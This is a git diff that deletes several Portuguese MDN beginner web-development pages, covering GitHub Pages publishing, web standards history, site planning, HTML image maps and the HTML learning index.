  • Google App Engine é uma plataforma poderosa que lhe permite construir e executar aplicações na infraestrutura do Google - quer necessite de construir uma aplicação web multi níveis a partir do zero ou hospedar um website estático. Veja How do you host your website on Google App Engine? para mais informações.
  • -
- -

Estas opções são tipicamente grátis, mas é possível você acabar por precisar mais que as funções que elas oferecem.

- -

Usar um IDE online

- -

Existem várias aplicações web que imitam um ambiente de desenvolvimento de website, permitindo-lhe introduzir HTML, CSS e JavaScript, e depois mostrar o resultado desse código como um website — tudo num único separador do navegador. Em geral, estas ferramentas são relativamente fáceis de manusear, ótimas para aprender, boas para partilhar código (por exemplo, se quiser partilhar uma técnica com ou pedir ajuda de depuração a colegas num escritório diferente), e gratuitas (para funcionalidades básicas). Hospedam a sua página num endereço da web único. No entanto, as funcionalidades são limitadas, e estas aplicações normalmente não fornecem espaço de alojamento para ativos (como imagens).

- -

Experimente usar as seguintes IDEs para descobrir qual é a melhor para si:

- - - -

- -

Publicar via GitHub

- -

Agora vejamos como facilmente publicar o seu site através do GitHub Pages.

- -
    -
  1. Primeiro, inscreva se no GitHub e confirme o seu endereço eletrónico.
  2. -
  3. A seguir, a crie um repositório para guardar os seus ficheiros.
  4. -
  5. Nesta página, na caixa Repository name, escreva username.github.io, onde username é o seu nome de utilizador. Por exemplo, Bob Smith iria introduzir bobsmith.github.io na caixa. Selecione a caixa "Initialize this repository with a README", e carregue "Create repository".
  6. -
  7. Arraste os conteúdos da sua pasta para o website, para dentro do repositório. Depois carregue em Commit changes.
    - -
    -

    Nota: Certifique se que a sua pasta contém o ficheiro index.html.

    -
    -
  8. -
  9. -

    Navegue no seu navegador até username.github.io para ver o seu website online. Por exemplo, para o nome de utilizador chrisdavidmills, vai a chrisdavidmills.github.io.

    - -
    -

    Nota: Pode demorar alguns minutos para que o seu site esteja live. Se o seu site não for visível imediatamente, espere por uns minutos e tente novamente.

    -
    -
  10. -
- -

Para aprender mais, veja GitHub Pages Help.

- -

Leitura complementar

- - - -

{{PreviousMenuNext("Learn/Comecar_com_a_Web/Elementar_de_JavaScript", "Learn/Comecar_com_a_Web/Como_funciona_a_Web", "Learn/Comecar_com_a_Web")}}

- -

Neste módulo

- - diff --git a/files/pt-pt/learn/getting_started_with_the_web/the_web_and_web_standards/index.html b/files/pt-pt/learn/getting_started_with_the_web/the_web_and_web_standards/index.html deleted file mode 100644 index 66f62d8178..0000000000 --- a/files/pt-pt/learn/getting_started_with_the_web/the_web_and_web_standards/index.html +++ /dev/null @@ -1,175 +0,0 @@ ---- -title: A Web e os padrões da Web -slug: Learn/Getting_started_with_the_web/The_web_and_web_standards -tags: - - Aprender - - Beginner - - Front-end - - Normas da Web - - Padrões da Web - - Web -translation_of: Learn/Getting_started_with_the_web/The_web_and_web_standards -original_slug: Learn/Comecar_com_a_Web/A_web_e_os_padroes_da_web ---- -

{{learnsidebar}}

- -

Este artigo fornece informação útil sobre a Web - como surgiu, o que são as tecnologias padrão da Web, como trabalham em conjunto, porque é que web developer é uma excelente carreira a escolher, e que melhores práticas irá aprender através do curso.

- -

História resumida da Web

- -

Vamos manter isto muito breve, pois existem relatos muito (mais) detalhados da história da web lá fora, aos quais faremos referência mais tarde (tente também procurar por "história da web" no seu motor de busca favorito e veja o que obtém, se estiver interessado em mais detalhes).

- -

No final da década de 1960, o exército dos EUA desenvolveu uma rede de comunicação chamada ARPANET. Esta pode ser considerada uma precursora da Web, uma vez que funcionava na {{Interwiki("wikipedia", "Comutação de pacotes", "comutação de pacotes")}}, e incluía a primeira implementação do conjunto de protocolos {{Interwiki("wikipedia", "TCP/IP", "TCP/IP")}}. Estas duas tecnologias formam a base da infra-estrutura sobre a qual a Internet está construída.

- -

Em 1980, Tim Berners-Lee (frequentemente referido como TimBL) escreveu um programa de caderno de notas chamado ENQUIRE, que apresentava o conceito de ligações entre os diferentes nódulos. Soa familiar?

- -

Avançando para 1989, e a TimBL escreveu Information Management: A Proposal e HyperText at CERN; estas duas publicações em conjunto forneceram o pano de fundo para a forma como a web funcionaria. Receberam interesse suficiente para convencer os chefes do TimBL a permitir-lhe avançar e criar um sistema global de hipertexto.

- -

No final de 1990, TimBL tinha criado todas as coisas necessárias para executar a primeira versão da web - HTTP, HTML, o primeiro navegador web, que se chamava {{Interwiki("wikipedia", "WorldWideWeb", "WorldWideWeb")}}, um servidor HTTP, e algumas páginas web para ver.

- -

Nos anos que se seguiram, a web explodiu, com vários navegadores a serem lançados, milhares de servidores web a serem criados, e milhões de páginas web a serem criadas. OK, este é um resumo muito simples do que aconteceu, mas prometi-vos um breve resumo.

- -

Um último dado significativo a partilhar é que em 1994, o TimBL fundou o {{Interwiki("wikipedia", "W3C", "World Wide Web Consortium")}} (W3C), uma organização que reúne representantes de muitas empresas tecnológicas diferentes para trabalharem em conjunto na criação de especificações tecnológicas para a web. Depois disso seguiram-se outras tecnologias, tais como CSS e JavaScript, e a web começou a parecer-se mais com a web que conhecemos hoje.

- -

Os padrões da Web

- -

As normas / padrões da web são as tecnologias que utilizamos para construir websites. Estas normas existem como longos documentos técnicos chamados especificações, que detalham exactamente como a tecnologia deve funcionar. Estes documentos não são muito úteis para aprender a utilizar as tecnologias que descrevem (é por isso que temos sites como a MDN Web Docs), mas em vez disso destinam-se a ser utilizados por engenheiros de software para implementar estas tecnologias (geralmente em navegadores).

- -

Por exemplo, o HTML Living Standard descreve exactamente como o HTML (todos os elementos HTML, e as suas APIs associadas, e outras tecnologias circundantes) deve ser implementado.

- -

As normas Web são criadas por organismos de normas — instituições que convidam grupos de pessoas de diferentes empresas tecnológicas a juntarem-se e acordarem sobre a melhor forma de como as tecnologias devem funcionar para cumprir todos os seus casos de utilização. O W3C é o organismo de normas Web mais conhecido, mas existem outros como o WHATWG (que foi responsável pela modernização da linguagem HTML), ECMA (que publica a norma para ECMAScript, na qual o JavaScript se baseia), Khronos (que publica tecnologias para gráficos 3D, como o WebGL), e outros.

- -

Standards "abertos"

- -

Um dos aspetos chave das normas web, que o TimBL e o W3C acordaram desde o início, é que a web (e as tecnologias web) devem ser livres de contribuir e utilizar, e não sobrecarregadas por patentes / licenciamento. Portanto, qualquer pessoa pode escrever o código para construir um website gratuitamente, e qualquer pessoa pode contribuir para o processo de criação de normas, onde as especificações são escritas.

- -

Porque as tecnologias web são criadas abertamente, numa colaboração entre várias empresas, isso significa que nenhuma empresa as consegue controlar, que é fantástico. Não se quer que uma única empresa decida subitamente colocar a web inteira atrás de uma paywall, ou lançar uma nova versão de HTML que todos têm de comprar para continuar a fazer websites, ou pior ainda, decidindo apenas que já não estão interessados e simplesmente desligando a web.

- -

Isto permite que a web continue a ser um recurso público disponível gratuitamente.

- -

Não quebre a web

- -

Outra frase que ouvirá em torno das normas abertas da web é "não quebre a web" — a ideia é que qualquer nova tecnologia web que seja introduzida deve ser retro compatível com o que existia antes (ou seja, os antigos websites continuarão a funcionar), e com o que existe atualmente (as futuras tecnologias, por sua vez, serão compatíveis com o que temos atualmente). Ao percorrer o material de aprendizagem aqui apresentado, começará a aprender como isto se torna possível com algum trabalho de conceção e implementação muito inteligente.

- -

Ser um web developer é bom

- -

A indústria da web é um mercado muito atrativo para entrar se estiver à procura de um emprego. Números recentemente publicados dizem que existem atualmente cerca de 19 milhões de web developers no mundo, e esse número é previsto mais que dobrar na próxima década. E, ao mesmo tempo, há uma escassez de competências na indústria — portanto, que melhor altura para aprender a desenvolvimento web?

- -

No entanto, nem tudo é brincadeira — construir sites é uma atividade mais complicada do que costumava ser, e terá de dedicar algum tempo ao estudo de todas as diferentes tecnologias que precisa de utilizar, todas as técnicas e melhores práticas que precisa de conhecer, e todos os padrões típicos que será necessário implementar. Vai levar alguns meses para começar realmente a ser proficiente, e depois terá de continuar a aprender para que o seu conhecimento se mantenha atualizado com todas as novas ferramentas e funcionalidades que aparecem na plataforma web, e continuar a praticar e a aperfeiçoar a sua arte.

- -

A única constante é a mudança.

- -

Isto parece-lhe difícil? Não se preocupe — o nosso objetivo é dar-lhe tudo o que precisa de saber para começar, e as coisas ficarão mais fáceis. Assim que aceitar a constante mudança e incerteza da web, começará a divertir-se. Como parte da comunidade web, terá uma rede de contactos e material útil para o ajudar, e começará a desfrutar das possibilidades criativas que ela lhe traz.

- -

Agora é um criativo digital. Desfrute da experiência.

- -

Sinopse das tecnologias modernas da Web

- -

Há uma série de tecnologias a aprender se quiser ser um programador da web de front-end. Nesta secção iremos descrevê-las brevemente. Para uma explicação mais detalhada de como algumas delas funcionam em conjunto, leia o nosso artigo Como funciona a web.

- - - -

É provável que esteja a ler estas palavras dentro de um navegador neste preciso momento (a menos que o tenha imprimido, ou que esteja a utilizar tecnologia de assistência, tal como um leitor de ecrã para o ler). Os navegadores são os programas de software que as pessoas utilizam para consumir a web, e incluem o Firefox, Chrome, Opera, Safari, e Edge.

- -

HTTP

- -

Hypertext Transfer Protocol, ou HTTP, é um protocolo de transmissão de mensagens que permite aos navegadores Web comunicarem com servidores (onde os websites são armazenados). Uma conversa típica é algo como

- -
"Hello web server. Can you give me the files I need to render bbc.co.uk"?
-
-"Sure thing web browser — here you go"
-
-[Downloads files and renders web page]
- -

A sintaxe das mensagens HTTP (chamadas pedidos e respostas) não é tão legível para o ser humano, mas isto dá-lhe a ideia básica.

- -

HTML, CSS, e JavaScript

- -

HTML, CSS, e JavaScript são as três tecnologias principais que irá usar para construir um site:

- -
    -
  • -

    A linguagem de marcação de hipertexto, ou HTML, é uma linguagem de marcação que consiste em diferentes elementos em que se pode embrulhar (marcar) conteúdo para lhe dar significado (semântica) e estrutura. O HTML tem este aspeto:

    - -
    <h1>This is a top-level heading</h1>
    -
    -<p>This is a paragraph of text.</p>
    -
    -<img src="cat.jpg" alt="A picture of my cat">
    - -

    Se adotarmos uma analogia de construção de casa, o HTML seria como as fundações e as paredes da casa, que lhe dão estrutura e a mantêm unida.

    -
  • -
  • -

    Cascading Style Sheets (CSS) é uma linguagem baseada em regras para aplicar estilos ao seu HTML, por exemplo, definir cores de texto e de fundo, adicionar bordas, animar coisas, ou colocar uma página de uma certa forma. Como um exemplo simples, o seguinte código tornaria o nosso parágrafo HTML vermelho:

    - -
    p  {
    -  color: red;
    -}
    - -

    Usando a analogia da casa, CSS é a tinta, papel de parede, tapetes e pinturas que usaria para fazer a casa parecer bonita.

    -
  • -
  • -

    JavaScript é a linguagem de programação que utilizamos para adicionar interatividade aos websites, da mudança de estilo dinâmico, até à obtenção de atualizações a partir do servidor, passando por gráficos complexos em 3D. O seguinte JavaScript armazena uma referência ao nosso parágrafo na memória e depois altera o texto:

    - -
    let pElem = document.querySelector('p');
    -pElem.textContent =  'We changed the text!';
    - -

    Na analogia da casa, o JavaScript é como o fogão, TV, Microondas, ou secador de cabelo — as coisas que dão à sua casa uma funcionalidade útil.

    -
  • -
- -

Tooling

- -

Uma vez aprendidas as tecnologias de base que podem ser usadas para construir páginas web (como HTML, CSS, e JavaScript), em breve começará a deparar-se com várias ferramentas que podem ser usadas para tornar o seu trabalho mais fácil ou mais eficiente. Os exemplos incluem:

- -
    -
  • As ferramentas de programação em navegadores modernos que podem ser usados para debug os seus sites.
  • -
  • Ferramentas de teste que podem ser usadas para testar se o seu código está a agir da forma desejada.
  • -
  • Bibliotecas e frameworks construidas com JavaScript que permitem construir certos websites dum modo mais rápido e eficiente.
  • -
  • Linters, que usando uma série de regras, processam o seu código e realcem os lugares onde as regras não foram seguidas corretamente.
  • -
  • Minifiers, que remove whitespace desnecessário de ficheiros com o seu código para diminuir o seu tamanho e permitir que sejam descarregados mais rapidamente.
  • -
- -

Linguagens de lado de servidor e frameworks

- -

HTML, CSS, e JavaScript são linguagens de front-end (ou client-side), que significa que eles são processados pelo navegador para produzir a interface dum website que os seus utilizadores possam usar.

- -

Há outra classe de línguas chamada de back-end (ou línguas do lado do servidor), o que significa que são executadas no servidor antes de o resultado ser então enviado para o navegador para ser exibido. Uma utilização típica para uma linguagem do lado do servidor é obter alguns dados de uma base de dados e gerar algum HTML para conter os dados, antes de depois enviar o HTML para o navegador para o exibir ao utilizador.

- -

Exemplos de linguagens de lado de servidor incluem C#, Python, PHP e Java.

- -

As melhores práticas da Web

- -

Falámos brevemente sobre as tecnologias que irá utilizar para construir sítios web. Agora vamos discutir as melhores práticas que deverá empregar para se certificar de que está a utilizar essas tecnologias o melhor possível.

- -

Ao fazer desenvolvimento web, a principal causa de incerteza advém do facto de não se saber que combinação de tecnologia cada utilizador utilizará para visualizar o seu site:

- -
    -
  • Utilizador 1 pode estar a usar um iPhone, com um ecrã pequeno e estreito.
  • -
  • Utilizador 2 pode estar a usar um portátil de Windows com um ecrã widescreen.
  • -
  • Utilizador 3 pode ser cego e usar um leitor de ecrã para ler a página da web.
  • -
  • Utilizador 4 pode estar a usar um computador antigo que não consegue correr navegadores modernos.
  • -
- -

Como não sabe exatamente o que os seus utilizadores irão usar, precisa de planear defensivamente - tornar o seu site tão flexível quanto possível, para que todos os utilizadores acima mencionados possam fazer uso dele, mesmo que nem todos possam ter a mesma experiência. Em resumo, estamos a tentar fazer com que a web funcione para todos, tanto quanto possível.

- -

Encontrará os conceitos abaixo em algum momento dos seus estudos.

- -
    -
  • Compatibilidade entre navegadores é a prática de tentar assegurar-se de que a sua página web funciona com o maior número de dispositivos possível. Isto inclui a utilização de tecnologias que todos os navegadores suportam, proporcionando melhores experiências aos navegadores que podem lidar com eles (melhoramento progressivo), e/ou escrever código de modo que caia de novo numa experiência mais simples, mas ainda utilizável em navegadores mais antigos (degradação graciosa). Também envolve muitos testes para ver se algo falha em certos navegadores, e depois mais trabalho para corrigir essas falhas.
  • -
  • Web design reactivo é a prática de tornar a sua funcionalidade e layouts flexíveis, para que se possam adaptar automaticamente a diferentes navegadores. Um exemplo óbvio é um website que é apresentado de uma forma num navegador de ecrã panorâmico no ambiente de trabalho, mas que se apresenta como um layout mais compacto e de uma só coluna nos navegadores de telemóveis. Tente ajustar agora a largura da janela do seu navegador, e veja o que acontece.
  • -
  • Performance significa fazer com que os websites sejam carregados o mais rapidamente possível, mas também torná-los intuitivos e fáceis de usar para que os utilizadores não fiquem frustrados e vão para outro lugar.
  • -
  • Acessibilidade significa tornar os seus sites utilizáveis pelo maior número possível de diferentes pessoas (conceitos relacionados são diversidade e inclusão, e design inclusivo). Isto inclui pessoas com deficiências visuais, auditivas, cognitivas, ou físicas. Também vai além das pessoas com deficiências - que tal jovens ou idosos, pessoas de culturas diferentes, utilizadores de dispositivos móveis, ou pessoas com ligações de rede pouco fiáveis ou lentas?
  • -
  • Internacionalização significa tornar os websites utilizáveis por pessoas de culturas diferentes, que falam línguas diferentes das suas. Há aqui considerações técnicas (tais como alterar o seu layout para que ainda funcione bem para as línguas da direita para a esquerda, ou mesmo verticais), e humanas (tais como utilizar uma linguagem simples e não linguística para que as pessoas que têm a sua língua como segunda ou terceira língua tenham mais probabilidades de compreender o seu texto).
  • -
  • Privacidade & Segurança. Estes dois conceitos estão relacionados, mas são diferentes. A privacidade refere-se a permitir que as pessoas se dediquem aos seus negócios em privado e não as espiar ou recolher mais dos seus dados do que é absolutamente necessário. Segurança refere-se à construção do seu website de forma segura para que os utilizadores maliciosos não possam roubar-lhe ou aos seus utilizadores a informação nele contida.
  • -
- -

Ver também

- - - -
    -
diff --git a/files/pt-pt/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html b/files/pt-pt/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html deleted file mode 100644 index 8ca05fe1cb..0000000000 --- a/files/pt-pt/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: Qual será a aparência do seu site da Web? -slug: Learn/Getting_started_with_the_web/What_will_your_website_look_like -tags: - - Aprender - - Beginner - - Conteúdo - - Design - - Planear - - Tipos de Letra - - l10n:priority -translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_like -original_slug: Learn/Comecar_com_a_Web/Apresentacao_do_meu_site ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Comecar_com_a_Web/Installing_basic_software", "Learn/Comecar_com_a_Web/Lidar_com_ficheiros", "Learn/Comecar_com_a_Web")}}
- -
-

Este artigo descreve o planeamento e conceptualização necessários antes de escrever o código do site da internet, incluindo "Que informação é que o meu site oferece?", "Quais os tipos de letra e cores que eu quero?" e ​​"O que é que o meu site faz?"

-
- -

Antes de tudo: planeamento

- -

Antes de fazer o que quer que seja, precisa de algumas ideias. O que é que o seu site realmente deve fazer? Um site pode fazer qualquer coisa, mas para a sua primeira tentativa, procure manter as coisas simples. Vamos começar a criar uma página web simples com um cabeçalho, uma imagem e alguns parágrafos.

- -

Para começar, irá precisar de responder a estas questões:

- -
    -
  1. De que se trata o seu site da Web? Gosta de cães, Nova Iorque, ou Pac-Man?
  2. -
  3. Que informação é que vai apresentar acerca o assunto? Escreva um título e alguns parágrafos, e pense numa imagem que gostaria de mostrar na sua página.
  4. -
  5. Como será apresentado o seu site da Web, em termos simples de alto nível? Qual é a cor de fundo? Que tipo de letra é apropriado: formal, desenhos, negrito e tom alto, subtil?
  6. -
- -
-

Nota: Projetos complexos precisam de diretrizes detalhadas que abordem todos os detalhes de cores, tipos de letra, espaçamento entre elementos de uma página, estilo de escrita apropriado, e assim por diante. Isto às vezes é chamado guia de desenho ou livro de marca, e pode ver um exemplo em  Firefox OS - Orientações (inglês).

-
- -

Esboçar o seu desenho

- -

A seguir, pegue numa caneta e papel e crie um esboço do layout do seu site. Para a sua primeira página, não há muito o que esboçar, mas deve adquirir o hábito de fazer isso agora. Isto é mesmo uma grande ajuda — não tem que ser um Van Gogh!

- -

- -
-

Nota: Mesmo em sites a sérios, complexos, a equipa de design costuma começar com esboços grosseiros em papel e mais tarde constrói maquetas digitais com um editor de imagem ou tecnologias web.

- -

Equipas de desenvolvimento web geralmente incluem um designer gráfico e um designer {{Glossary("UX", "user-experience")}} (UX). Obviamente, os designers gráficos montam os elementos visuais do site. Designers UX têm um papel mais abstrato, que consiste em abordar a forma como utilizadores vão experimentar e interagir com o site.

-
- -

Escolha do conteúdo

- -

Nesta altura, é boa ideia começar a criar o conteúdo que virá a aparecer na sua página da internet.

- -

Texto

- -

Ainda deve ter o parágrafo e títulos de há bocado. Mantenha-os por perto.

- -

Cor do tema

- -

Para escolher uma cor, vá ao Seletor de Cores e encontre uma cor de que gosta. Quando clicar numa cor, vai ver um código estranho com seis caracteres, tal como #660066. Este é um código hexadecimal que representa um tom de cor específico. Aponte o código num local de fácil acesso.

- -

- -

Imagens

- -

Para escolher uma imagem, pesquise Images no Google procure algo adequado.

- -
    -
  1. Quando encontrar a imagem que quer, clique nela.
  2. -
  3. Prima o botão Ver imagem.
  4. -
  5. Na página seguinte, carregue o botão direito do rato (Ctrl + clique nos Mac), escolha Guardar imagem como..., e escolha um lugar seguro para guardar a imagem. Em alternativa, copie o endereço da imagem da barra de endereço do seu navegador para a utilizar mais tarde.
  6. -
- -

- -

- -
-

Nota: A maioria das imagens, incluindo na pesquisa de Imagens do Google, estão protegidas por direitos de autor. Para reduzir probabilidades de violar estes direitos, pode usar o filtro de licença do  Google. Primeiro, clique em Ferramentas de Pesquisa, e depois em Direitos de utilização:

- -

-
- -

Tipo de letra

- -

Para escolher um tipo de letra:

- -
    -
  1. Vá ao Google Fonts e deslize para baixo até encontrar um de que goste. Também pode usar os controlos à direita para filtrar resultados.
  2. -
  3. Clique no ícone "mais" (Adicionar) perto do tipo de letra que escolheu.
  4. -
  5. Clique no botão "* Family Selected" no painel no fim da página ("*" será o número de tipos de letra selecionados).
  6. -
  7. Na caixa apresentada, copie as linhas de código que o Google lhe dará para um editor de texto e guarde para utilizar mais tarde.
  8. -
- -

- -

- -
{{PreviousMenuNext("Learn/Comecar_com_a_Web/Installing_basic_software", "Learn/Comecar_com_a_Web/Lidar_com_ficheiros", "Learn/Comecar_com_a_Web")}}
- -

Neste módulo

- - diff --git a/files/pt-pt/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.html b/files/pt-pt/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.html deleted file mode 100644 index fa960426d1..0000000000 --- a/files/pt-pt/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.html +++ /dev/null @@ -1,204 +0,0 @@ ---- -title: Adicionar um mapa de zona clicável numa imagem -slug: Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image -translation_of: Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image -original_slug: Learn/HTML/Como/Adicionar_um_mapa_de_zona_clicavel_numa_imagem ---- -
-

Aqui, nós explicamos como configurar um mapa de imagens, e algumas desvantagens para considerar primeiro.

-
- - - - - - - - - - - - -
Pré-requisitos:Já deverá saber como criar um documento HTML básico e como adicionar imagens acessíveis para uma página da Web.
Objetivo:Learn how to make different regions of one image link to different pages.
- -
-

This article discusses client-side image maps only. Do not use server-side image maps, which require the user to have a mouse.

-
- -

Mapas de imagens, e as suas desvantagens

- -

When you nest an image inside {{htmlelement('a')}}, the entire image links to one webpage. An image map, on the other hand, contains several active regions (called "hotspots") that each link to a different resource.

- -

Formerly, image maps were a popular navigation device, but it’s important to thoroughly consider their performance and accessibility ramifications.

- -

Text links (perhaps styled with CSS) are preferable to image maps for several reasons: text links are lightweight, maintainable, often more SEO-friendly, and support accessibility needs (e.g., screen readers, text-only browsers, translation services).

- -

Como inserir uma imagem de mapa, devidamente

- -

Passo 1: A imagem

- -

Nem qualquer imagem é aceitável.

- -
    -
  • The image must make it clear what happens when people follow image links. alt text is mandatory, of course, but many people never see it.
  • -
  • The image must clearly indicate where hotspots begin and end.
  • -
  • Hotspots must be large enough to tap comfortably, at any viewport size. How large is large enough? 72 × 72 CSS pixels is a good minimum, with additional generous gaps between touch targets. The map of the world at 50languages.com (as of time of writing) illustrates the problem perfectly. It’s much easier to tap Russia or North America than Albania or Estonia.
  • -
- -

You insert your image much the same way as always (with an {{htmlelement("img")}} element and {{htmlattrxref("alt",'img')}} text). If the image is only present as a navigation device, you may write alt="", provided you furnish appropriate {{htmlattrxref("alt",'area')}} text in the {{htmlelement('area')}} elements later on.

- -

You will need a special {{htmlattrxref("usemap","img")}} attribute. Come up with a unique name, containing no spaces, for your image map. Then assign that name (preceded by a hash) as the value for the usemap attribute:

- -
<img
-  src="image-map.png"
-  alt=""
-  usemap="#example-map-1" />
- -

Passo 2: Ativar os seus pontos de hotspots

- -

In this step, put all your code inside a {{htmlelement('map')}} element. <map> only needs one attribute, the same map {{htmlattrxref("name","map")}} as you used in your usemap attribute above:

- -
<map name="example-map-1">
-
-</map>
- -

Inside the <map> element, we need {{htmlelement('area')}} elements. An <area> element corresponds to a single hotspot. To keep keyboard navigation intuitive, make sure the source order of <area> elements corresponds to the visual order of hotspots.

- -

<area> elements are empty elements, but do require four attributes:

- -
-
{{htmlattrxref('shape','area')}}
-
{{htmlattrxref('coords','area')}}
-
-

shape takes one of four values: circle, rect, poly, and default. (A default <area> occupies the entire image, minus any other hotspots you’ve defined.) The shape you choose determines the coordinate information you’ll need to provide in coords.

- -
    -
  • For a circle, provide the center's x and y coordinates, followed by the length of the radius.
  • -
  • For a rectangle, provide the x/y coordinates of the upper-left and bottom-right corners.
  • -
  • For a polygon, to provide the x/y coordinates of each corner (so, at least six values).
  • -
- -

Coordinates are given in CSS pixels.

- -

In case of overlap, source order carries the day.

-
-
{{htmlattrxref('href','area')}}
-
The URL of the resource you’re linking to. You may leave this attribute blank if you don’t want the current area to link anywhere (say, if you’re making a hollow circle.)
-
{{htmlattrxref('alt','area')}}
-
-

A mandatory attribute, telling people where the link goes or what it does. alt text only displays when the image is unavailable. Please refer to our guidelines for writing accessible link text.

- -

You may write alt="" if the href attribute is blank and the entire image already has an alt attribute.

-
-
- -
<map name="example-map-1">
-  <area shape="circle" coords="200,250,25"
-    href="page-2.html" alt="circle example" />
-
-
-  <area shape="rect" coords="10, 5, 20, 15"
-    href="page-3.html" alt="rectangle example" />
-
-</map>
- -

Passo 3: Certificar-se de que este funciona para toda a gente

- -

You aren’t done until you test image maps rigorously on many browsers and devices. Try following links with your keyboard alone. Try turning images off.

- -

If your image map is wider than about 240px, you’ll need to make further adjustments to make your website responsive. It's not enough to resize the image for small screens, because the coordinates stay the same and no longer match the image.

- -

If you must use image maps, you may want to look into Matt Stow's jQuery plugin. Alternatively, Dudley Storey demonstrates a way to use SVG for an image map effect, along with a subsequent combined SVG-raster hack for bitmap images.

- -

Saiba mais

- - - -
- - - - - -
diff --git a/files/pt-pt/learn/html/howto/index.html b/files/pt-pt/learn/html/howto/index.html deleted file mode 100644 index 44c2f1535b..0000000000 --- a/files/pt-pt/learn/html/howto/index.html +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: Utilizar HTML para resolver problemas comuns -slug: Learn/HTML/Howto -tags: - - HTML - - Programação Scripting -translation_of: Learn/HTML/Howto -original_slug: Learn/HTML/Como ---- -
{{LearnSidebar}}
- -

As seguintes hiperligações apontam para soluções de problemas comuns diários que terá de resolver com HTML.

- -
-
-

Estrutura básica

- -

The most basic application of HTML is document structure. If you're new to HTML you should start with this.

- - - -

Semântica de nível de texto básica

- -

HTML specializes in providing semantic information for a document, so HTML answers many questions you might have about how to get your message across best in your document.

- - -
- -
-

Hiperligações

- -

One of the main reasons for HTML is make navigation easy with {{Glossary("hyperlink", "hyperlinks")}}, which can be used in many different ways:

- - - -

Imagens e multimédia

- - - -

Scripting e estilização

- -

HTML only sets up document structure. To solve presentation issues, use {{glossary("CSS")}}, or use scripting to make your page interactive.

- - - -

Conteúdo integrado

- - -
-
- -

Problemas incomuns ou avançados

- -

Beyond the basics, HTML is very rich and offers advanced features for solving complex problems. These articles help you tackle the less common use cases you may face:

- -
-
-

Formulários

- -

Forms are a complex HTML structure made to send data from a webpage to a web server. We encourage you to go over our full dedicated guide. Here is where you should start:

- - - -

Informação tabular

- -

Some information, called tabular data, needs to be organized into tables with columns and rows. It's one of the most complex HTML structures, and mastering it is not easy:

- - - -

Representação de dados

- - - -

Interatividade

- - -
- -
-

Semântica de texto avançada

- - - -

Imagens e multimédia avançadas

- - - -

Internacionalização

- -

HTML is not monolingual. It provides tools to handle common internationalization issues.

- - - -

Desempenho

- - -
-
- -

 

diff --git a/files/pt-pt/learn/html/index.html b/files/pt-pt/learn/html/index.html deleted file mode 100644 index 590612f435..0000000000 --- a/files/pt-pt/learn/html/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Estruturar a Web com HTML -slug: Learn/HTML -tags: - - Apredizagem - - Guía - - HTML - - Introdução - - Principiante - - Tópico -translation_of: Learn/HTML ---- -
{{LearnSidebar}}
- -

Para criar sites da Web, deverá saber sobre {{Glossary('HTML')}} — a tecnologia fundamental para definir a estrutura de uma página da Web. HTML é utilizado para especificar se o seu conteúdo da Web deve ser reconhecido como um parágrafo, lista, cabeçalho, hiperligação, imagem, leitor de multimédia, formulário, ou um dos muitos outros elementos disponíveis ou mesmo um novo elemento que defina.

- -

Passos de aprendizagem

- -

Idealmente, deveria começar a sua jornada de aprendizagem aprendendo HTML. Comece a ler Introdução ao HTML. Depois pode passar para a aprendizagem sobre os tópicos mais avançados, tais como:

- -
    -
  • CSS, e como o utilizar para estilizar HTML (por exemplo, alterar os tipos e tamanhos de fontes do seu texto, colocar bordas e aplicar sombras, desenhar sua página com múltiplas colunas, agregar animações e outros efeitos visuais.) 
  • -
  • JavaScript, e como o utilizar para adicioanr funcionalidade dinâmica às páginas da Web ( por exemplo, encontrar a sua posição e mostrá-la num mapa, fazer com que os elementos UI apareçam/desapareçam quando alterna um botão, guardar os dados dos utilizadores localmente nos seus computadores, e muito, muito mais.) 
  • -
- -

Antes de iniciar este tópico, deve estar pelo menos familizado com o uso de computadores, e ser um usuário da Web (i.e. ser um usuário que acessa a Web e consuma o conteúdo).  Você deverá ter um trabalho básico de configurar um ambiente como detalhado em  Installing basic software, e entender como criar e manusear arquivos, como detalhado em a Dealing with files — ambos são partes do nosso módulo completo para iniciantes Getting started with the web.

- -

É recomendado que inicie com Primeiros passos na Web antes de tentar este tópico, no entanto isto não é absolutamente necessário; muito do que está apresentado no artigo HTML - Essencial também está coberto no nosso módulo de Introdução ao HTML com um pouco mais de detalhe. 

- -

Módulos

- -
-
Este tópico contém os seguintes módulos, numa ordem sugerida para trabalhar com eles. Deve-se definitivamente começar com o primeiro.
-
-
Introdução ao HTML 
-
- -
-
Este módulo prepara o palco, levando você a usar importantes conceitos e sintaxe, procurando aplicar HTML ao texto, como criar hiperlinks e como usar HTML para estruturar uma webpage.
-
Multimédia e integração
-
Este  módulo explora como usar HTML para incluir multimidia nas tuas páginas web, inclisive sobre as diferentes formas de fazê-lo e como imbutir videos e até outras páginas web inteiras.
-
Tabelas HTML
-
Como apresentar dados de forma organizada na página web de compreensível pode ser um desafio. Este módulo apresenta as formas básica de organizar tabelas, permitindo organizar características complexas como implementar legendas e sumários.          {{glossary("Accessibility", "Consulte")}} 
-
- -

Resolver problemas de HTML comuns

- -

Use HTML to solve common problems oferece links para seções com conteúdo que explanam como usar HTML para resolver os problemas mais comuns quando se cria webpage: lidando com títulos, acresentando imagens e vídeos, separando conteúdo, criando formas básicas, etc.

- -

Consulte também

- -
-
-
-
Formulários da Web
-
This module provides a series of articles that will help you master the essentials of web forms. Web forms are a very powerful tool for interacting with users — most commonly they are used for collecting data from users, or allowing them to control a user interface. However, for historical and technical reasons it's not always obvious how to use them to their full potential. We'll cover all the essential aspects of Web forms including marking up their HTML structure, styling form controls, validating form data, and submitting data to the server.
-
HTML (Linguagem de Marcação de Hipertexto)
-
The main entry point for HTML reference documentation on MDN, including detailed element and attribute references — if you want to know what attributes an element has or what values an attribute has, for example, this is a great place to start.
-
-
